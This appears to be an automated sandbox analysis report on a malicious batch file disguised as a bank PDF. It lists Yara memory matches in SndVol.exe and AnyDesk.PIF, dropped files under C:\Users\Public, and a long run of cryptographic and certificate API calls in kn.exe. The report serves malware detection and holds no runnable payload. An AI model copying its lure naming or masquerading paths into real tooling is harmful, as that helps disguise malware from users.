Windows Analysis Report
USD470900_COPY_800BLHSBC882001.PDF.bat

AI detected suspicious sample

Source: Yara match	File source: 20.2.SndVol.exe.2cf0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.SndVol.exe.27d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.SndVol.exe.2cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.SndVol.exe.2c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.SndVol.exe.27d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.SndVol.exe.2c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.AnyDesk.PIF.2d30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.1714791876.0000000000647000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3879565990.000000001C118000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1519993639.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1661654615.000000002AB37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1498580149.0000000002DB7000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AnyDesk.PIF PID: 7748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 8072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 5612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 7296, type: MEMORYSTR

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\Public\Libraries\AnyDesk.PIF	Joe Sandbox ML: detected
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Joe Sandbox ML: detected

Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC12F38 ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,InitializeCriticalSection,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,LocalFree,lstrcmpW,#357,CoInitialize,#357,#357,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,RevertToSelf,#356,#357,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection,	7_2_00007FF68FC12F38
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC12C2C CryptFindOIDInfo,memset,CryptRegisterOIDInfo,GetLastError,#357,	7_2_00007FF68FC12C2C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC59134 CryptQueryObject,GetLastError,#357,CertOpenStore,GetLastError,CertOpenStore,GetLastError,CertAddSerializedElementToStore,GetLastError,CertAddEncodedCRLToStore,GetLastError,CertAddEncodedCTLToStore,GetLastError,CertAddEncodedCertificateToStore,GetLastError,#357,CertCloseStore,	7_2_00007FF68FC59134
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD7124 BCryptGenerateKeyPair,#360,	7_2_00007FF68FCD7124
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC511C GetSystemInfo,CryptFindOIDInfo,#359,CreateFileW,GetLastError,#357,#359,GetFileSize,#357,CreateFileMappingW,GetLastError,#359,#357,LocalAlloc,BCryptCreateHash,#360,MapViewOfFile,BCryptHashData,#360,UnmapViewOfFile,LocalAlloc,GetLastError,#357,GetLastError,BCryptFinishHash,#360,LocalAlloc,LocalFree,#357,UnmapViewOfFile,CloseHandle,CloseHandle,BCryptDestroyHash,#360,LocalFree,LocalFree,	7_2_00007FF68FCC511C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD70C8 BCryptSetProperty,#360,	7_2_00007FF68FCD70C8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA10D8 NCryptSetProperty,#205,#359,#357,#359,#357,	7_2_00007FF68FCA10D8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA30D8 CryptGetHashParam,#205,GetLastError,#357,#357,#357,#357,SetLastError,	7_2_00007FF68FCA30D8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC4107C LocalFree,GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,#359,#357,LocalFree,	7_2_00007FF68FC4107C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCAB0A0 memmove,CryptDecrypt,#205,GetLastError,#357,#357,SetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,memmove,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FCAB0A0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6B098 CryptVerifyCertificateSignature,GetLastError,#358,CertVerifyCRLTimeValidity,CertCompareCertificateName,CertCompareCertificateName,#357,	7_2_00007FF68FC6B098
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD705C BCryptGetProperty,#360,	7_2_00007FF68FCD705C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA1058 NCryptOpenStorageProvider,#205,#359,#357,	7_2_00007FF68FCA1058
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD700C BCryptEnumAlgorithms,#360,	7_2_00007FF68FCD700C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC1302F #357,LocalFree,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection,	7_2_00007FF68FC1302F
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC99028 #357,#357,CryptMsgClose,CryptMsgClose,CertCloseStore,LocalFree,	7_2_00007FF68FC99028
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC17034 #357,CertCreateCertificateContext,#357,CertDuplicateCertificateContext,CertCreateCertificateContext,CertCompareCertificateName,CryptVerifyCertificateSignature,GetLastError,#357,#357,CertFreeCertificateContext,LocalFree,CertFreeCertificateContext,	7_2_00007FF68FC17034
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA7020 NCryptDecrypt,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,NCryptEncrypt,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FCA7020
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA301C CryptGenKey,#205,GetLastError,#357,#357,#357,SetLastError,	7_2_00007FF68FCA301C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC34F90 LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,LocalFree,LocalFree,#357,strcmp,GetLastError,#357,CryptMsgGetAndVerifySigner,CryptVerifyDetachedMessageSignature,GetLastError,#357,CertEnumCertificatesInStore,memcmp,#357,CertFreeCertificateContext,#357,#357,CertFreeCertificateContext,strcmp,#357,CryptMsgControl,GetLastError,#357,#357,#357,#357,	7_2_00007FF68FC34F90
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0FB4 NCryptOpenKey,#205,#359,#357,#357,	7_2_00007FF68FCA0FB4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6FAC BCryptOpenAlgorithmProvider,#360,	7_2_00007FF68FCD6FAC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC84F50 CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,#357,LocalFree,	7_2_00007FF68FC84F50
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCEF74 GetLastError,#357,CryptDecodeObject,GetLastError,GetLastError,GetLastError,LocalAlloc,memmove,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FCCEF74
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC90F58 CertAddEncodedCertificateToStore,GetLastError,#357,UuidCreate,StringFromCLSID,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,CertSetCTLContextProperty,GetLastError,CryptDestroyKey,CryptReleaseContext,CoTaskMemFree,CertFreeCertificateContext,	7_2_00007FF68FC90F58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6F2C NCryptExportKey,#360,	7_2_00007FF68FCD6F2C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC38F1C strcmp,LocalFree,strcmp,LocalFree,strcmp,LocalFree,strcmp,CryptDecodeObject,LocalFree,LocalFree,LocalFree,strcmp,strcmp,strcmp,strcmp,LocalFree,GetLastError,#357,GetLastError,GetLastError,	7_2_00007FF68FC38F1C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD00ED0 LocalAlloc,LocalReAlloc,#357,#360,CryptFindOIDInfo,CryptFindOIDInfo,LocalAlloc,#357,memmove,_wcsnicmp,#256,#359,	7_2_00007FF68FD00ED0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0EF4 NCryptImportKey,#205,#359,#359,#357,	7_2_00007FF68FCA0EF4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCEE94 CryptSignMessage,SetLastError,	7_2_00007FF68FCCEE94
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC40E94 GetLastError,#359,CryptGetProvParam,LocalFree,#357,LocalFree,CryptReleaseContext,	7_2_00007FF68FC40E94
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC72E7C #223,GetLastError,#358,#357,CryptVerifyCertificateSignature,GetLastError,#357,LocalFree,LocalFree,	7_2_00007FF68FC72E7C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6EA8 NCryptImportKey,#360,	7_2_00007FF68FCD6EA8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6E48 NCryptSetProperty,#360,	7_2_00007FF68FCD6E48
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA2E6C CryptFindOIDInfo,#205,#357,#357,#357,#359,#359,#357,#357,#359,LocalFree,	7_2_00007FF68FCA2E6C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE4E58 NCryptIsKeyHandle,#357,BCryptGenRandom,#360,LocalAlloc,CryptExportPKCS8,GetLastError,LocalAlloc,CryptExportPKCS8,GetLastError,NCryptIsKeyHandle,#359,#359,NCryptFinalizeKey,#360,	7_2_00007FF68FCE4E58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC30E24 #357,#357,CryptDecodeObject,GetLastError,GetLastError,strcmp,GetLastError,#357,#357,#357,GetLastError,GetLastError,GetLastError,CryptDecodeObject,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC30E24
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC8DD0 CertGetCRLContextProperty,GetLastError,#357,memcmp,CertGetCRLContextProperty,GetLastError,#357,memcmp,CertFindExtension,GetLastError,memcmp,CryptHashCertificate,GetLastError,memcmp,CryptHashPublicKeyInfo,GetLastError,memcmp,LocalFree,	7_2_00007FF68FCC8DD0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0DD4 NCryptGetProperty,#205,#359,#357,#359,#357,	7_2_00007FF68FCA0DD4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF0DB8 CryptMsgGetParam,GetLastError,#357,#357,memset,CryptMsgGetParam,GetLastError,#357,	7_2_00007FF68FCF0DB8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC84DDC GetLastError,#357,CryptEncodeObjectEx,GetLastError,#357,LocalFree,	7_2_00007FF68FC84DDC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6DE0 NCryptCreatePersistedKey,#360,	7_2_00007FF68FCD6DE0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0D84 NCryptFreeObject,#205,#357,	7_2_00007FF68FCA0D84
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA2D78 CryptEncrypt,#205,GetLastError,#357,#357,#357,#357,SetLastError,	7_2_00007FF68FCA2D78
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6D78 NCryptOpenKey,#360,	7_2_00007FF68FCD6D78
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD2DAC #357,#357,CryptFindOIDInfo,LocalFree,	7_2_00007FF68FCD2DAC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0D14 NCryptFinalizeKey,#205,#357,#357,	7_2_00007FF68FCA0D14
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC92CF8 memset,#358,#357,CryptAcquireContextW,GetLastError,#357,#357,#358,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext,DeleteFileW,LocalFree,#357,#357,#359,#359,LocalFree,LocalFree,#357,#357,#357,#357,#357,#359,#359,#359,#359,LocalFree,#359,#359,#357,	7_2_00007FF68FC92CF8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA2CFC CryptDestroyKey,#205,GetLastError,#357,SetLastError,	7_2_00007FF68FCA2CFC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6D2C NCryptFreeBuffer,#360,	7_2_00007FF68FCD6D2C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC62D18 #359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,NCryptIsKeyHandle,#357,#357,NCryptIsKeyHandle,#357,#357,LocalFree,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,	7_2_00007FF68FC62D18
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC64CC0 #357,lstrcmpW,CryptEnumKeyIdentifierProperties,GetLastError,#357,LocalFree,#357,#359,LocalFree,LocalFree,free,	7_2_00007FF68FC64CC0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF8CF4 GetLastError,#360,CryptGetProvParam,GetLastError,#360,#359,LocalAlloc,CryptGetProvParam,GetLastError,#357,LocalFree,CryptReleaseContext,GetLastError,LocalAlloc,CryptGetProvParam,GetLastError,#358,LocalFree,LocalFree,#357,CryptReleaseContext,LocalFree,	7_2_00007FF68FCF8CF4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6CE0 NCryptEnumStorageProviders,#360,	7_2_00007FF68FCD6CE0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6C88 NCryptEnumAlgorithms,#360,	7_2_00007FF68FCD6C88
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA2C80 CryptDestroyHash,#205,GetLastError,#357,SetLastError,	7_2_00007FF68FCA2C80
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE4C80 CryptAcquireContextW,GetLastError,#357,CryptGenRandom,GetLastError,CryptGenRandom,GetLastError,memset,CryptReleaseContext,	7_2_00007FF68FCE4C80
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCAACAC CryptContextAddRef,CryptDuplicateKey,#205,GetLastError,#357,#357,SetLastError,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,_CxxThrowException,??3@YAXPEAX@Z,	7_2_00007FF68FCAACAC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC94CA0 CryptAcquireCertificatePrivateKey,GetLastError,#357,CertGetCRLContextProperty,GetLastError,#357,CryptGetUserKey,GetLastError,GetLastError,#357,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext,	7_2_00007FF68FC94CA0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC06C4C CryptFindOIDInfo,#357,#357,#359,CryptFindOIDInfo,#357,LocalFree,	7_2_00007FF68FC06C4C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0C3C NCryptExportKey,#205,#359,#359,#357,	7_2_00007FF68FCA0C3C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD8C58 #357,LocalAlloc,#357,memmove,memset,BCryptFreeBuffer,#357,#357,#360,#359,#359,#359,LocalAlloc,memmove,LocalAlloc,memmove,#357,#357,CryptGetDefaultProviderW,LocalAlloc,CryptGetDefaultProviderW,GetLastError,#357,#357,#357,LocalFree,LocalFree,	7_2_00007FF68FCD8C58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD6C30 NCryptOpenStorageProvider,#360,	7_2_00007FF68FCD6C30
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3CC24 CryptDecodeObjectEx,#359,BCryptSetProperty,BCryptGetProperty,#357,BCryptDestroyKey,BCryptCloseAlgorithmProvider,	7_2_00007FF68FC3CC24
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA2BC0 CryptCreateHash,#205,GetLastError,#357,#357,#357,SetLastError,	7_2_00007FF68FCA2BC0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD0BF4 CryptDuplicateHash,GetLastError,#357,CryptGetHashParam,GetLastError,#203,CryptDestroyHash,	7_2_00007FF68FCD0BF4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0B80 NCryptCreatePersistedKey,#205,#359,#359,#357,	7_2_00007FF68FCA0B80
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCCBB4 CryptGetProvParam,GetLastError,#358,LocalAlloc,#357,CryptGetProvParam,GetLastError,#357,LocalFree,	7_2_00007FF68FCCCBB4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2CB98 NCryptIsKeyHandle,GetLastError,#358,#360,NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,#359,LocalFree,NCryptIsKeyHandle,CryptGetUserKey,GetLastError,#357,CryptGetKeyParam,GetLastError,#359,CryptDestroyKey,NCryptIsKeyHandle,#359,NCryptIsKeyHandle,	7_2_00007FF68FC2CB98
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD0B9C CryptHashData,GetLastError,#357,	7_2_00007FF68FCD0B9C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD0EB38 CryptDecodeObjectEx,GetLastError,??3@YAXPEAX@Z,LocalFree,	7_2_00007FF68FD0EB38
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC42B00 BCryptEnumContexts,#360,BCryptQueryContextConfiguration,#360,#357,BCryptFreeBuffer,#357,BCryptEnumContextFunctions,#360,#360,BCryptFreeBuffer,#358,#358,#357,BCryptFreeBuffer,	7_2_00007FF68FC42B00
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC98AFC #357,CertCreateCertificateContext,GetLastError,#357,#357,#357,#357,#357,NCryptIsKeyHandle,#357,CertSetCTLContextProperty,GetLastError,#357,#357,CertCloseStore,CertFreeCertificateContext,	7_2_00007FF68FC98AFC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0ABC BCryptVerifySignature,#205,#357,#357,#357,#357,	7_2_00007FF68FCA0ABC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA2AE4 CryptAcquireContextW,#205,GetLastError,#359,#357,#359,SetLastError,	7_2_00007FF68FCA2AE4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD2A78 #357,CryptAcquireCertificatePrivateKey,GetLastError,#357,#357,LocalFree,LocalFree,LocalFree,#359,#359,	7_2_00007FF68FCD2A78
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC16A84 LocalAlloc,#357,memmove,CryptHashCertificate2,GetLastError,LocalAlloc,#357,memmove,LocalFree,	7_2_00007FF68FC16A84
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8EA7C #357,#357,LocalAlloc,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptImportKey,GetLastError,CryptSetKeyParam,GetLastError,CryptSetKeyParam,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptSetKeyParam,GetLastError,#357,LocalFree,LocalFree,LocalFree,CryptDestroyHash,CryptDestroyHash,	7_2_00007FF68FC8EA7C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA8AA0 _CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,BCryptHashData,#205,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FCA8AA0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8AA00 memset,memset,#357,#357,#357,#357,CryptEncodeObjectEx,GetLastError,CryptMsgEncodeAndSignCTL,GetLastError,GetLastError,CryptMsgEncodeAndSignCTL,GetLastError,#359,LocalFree,LocalFree,	7_2_00007FF68FC8AA00
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC84A34 CertGetCRLContextProperty,CryptEncodeObjectEx,GetLastError,CryptHashCertificate2,CryptEncodeObjectEx,GetLastError,CertGetCRLContextProperty,CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,GetLastError,GetLastError,#357,LocalFree,	7_2_00007FF68FC84A34
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0A18 BCryptSetProperty,#205,#359,#357,#357,	7_2_00007FF68FCA0A18
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA4A1C NCryptIsKeyHandle,_wcsicmp,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,	7_2_00007FF68FCA4A1C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCDA9F0 strcmp,GetLastError,CryptFindOIDInfo,#357,#357,LocalFree,#357,#357,NCryptIsAlgSupported,#360,#357,LocalAlloc,memmove,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,LocalFree,LocalFree,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalFree,GetLastError,#357,LocalFree,GetLastError,#357,LocalFree,GetLastError,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,	7_2_00007FF68FCDA9F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6E9F0 IsDlgButtonChecked,memset,SendMessageW,LocalFree,GetDlgItemTextW,GetDlgItem,GetDlgItem,EnableWindow,LocalFree,#357,#357,CertFreeCertificateContext,CertFreeCTLContext,GetDlgItem,SendMessageW,SetDlgItemTextW,MessageBoxW,GetDlgItem,SendMessageW,GetDlgItemInt,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,#357,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetDlgItemTextW,SendDlgItemMessageA,CheckDlgButton,GetDlgItem,EnableWindow,SetDlgItemInt,CheckDlgButton,SetDlgItemTextW,SetDlgItemTextW,CertFreeCTLContext,CertFreeCertificateContext,??3@YAXPEAX@Z,memset,SendMessageW,MessageBoxW,memset,CryptUIDlgViewCRLW,memset,CryptUIDlgViewCertificateW,	7_2_00007FF68FC6E9F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD2994 CertFreeCertificateContext,CryptSetProvParam,GetLastError,#357,CryptReleaseContext,LocalFree,	7_2_00007FF68FCD2994
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA099C BCryptOpenAlgorithmProvider,#205,#359,#359,	7_2_00007FF68FCA099C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC629A0 #357,#357,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CertFreeCertificateContext,CryptReleaseContext,LocalFree,LocalFree,CryptDestroyKey,	7_2_00007FF68FC629A0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA8940 BCryptFinishHash,#205,#357,#357,#357,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FCA8940
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCAC940 _CxxThrowException,GetLastError,_CxxThrowException,memmove,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,CryptHashData,#205,GetLastError,#357,#357,#357,SetLastError,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,	7_2_00007FF68FCAC940
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2C960 LocalAlloc,CryptGetKeyIdentifierProperty,GetLastError,#357,LocalFree,LocalFree,	7_2_00007FF68FC2C960
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD4914 GetLastError,#359,CryptGetUserKey,CryptGetUserKey,GetLastError,#357,CryptDestroyKey,CryptReleaseContext,	7_2_00007FF68FCD4914
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8E914 CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,GetLastError,GetLastError,GetLastError,#357,CryptDestroyHash,	7_2_00007FF68FC8E914
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC1A8CC CryptFindLocalizedName,CertEnumCertificatesInStore,CertFindCertificateInStore,CertGetCRLContextProperty,#357,#357,#357,CertEnumCertificatesInStore,	7_2_00007FF68FC1A8CC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA08EC BCryptGetProperty,#205,#359,#357,#357,	7_2_00007FF68FCA08EC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD0E8B0 CryptDecodeObjectEx,GetLastError,CryptBinaryToStringW,GetLastError,memset,CryptBinaryToStringW,??3@YAXPEAX@Z,LocalFree,	7_2_00007FF68FD0E8B0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCA0844 BCryptExportKey,#205,#359,#357,#357,	7_2_00007FF68FCA0844
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD8814 NCryptIsKeyHandle,NCryptIsKeyHandle,#357,#359,#357,CryptFindOIDInfo,LocalAlloc,#357,LocalAlloc,#357,CryptFindOIDInfo,#359,LocalAlloc,#357,memmove,LocalFree,#357,	7_2_00007FF68FCD8814
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC26824 CryptHashCertificate,GetLastError,#357,	7_2_00007FF68FC26824
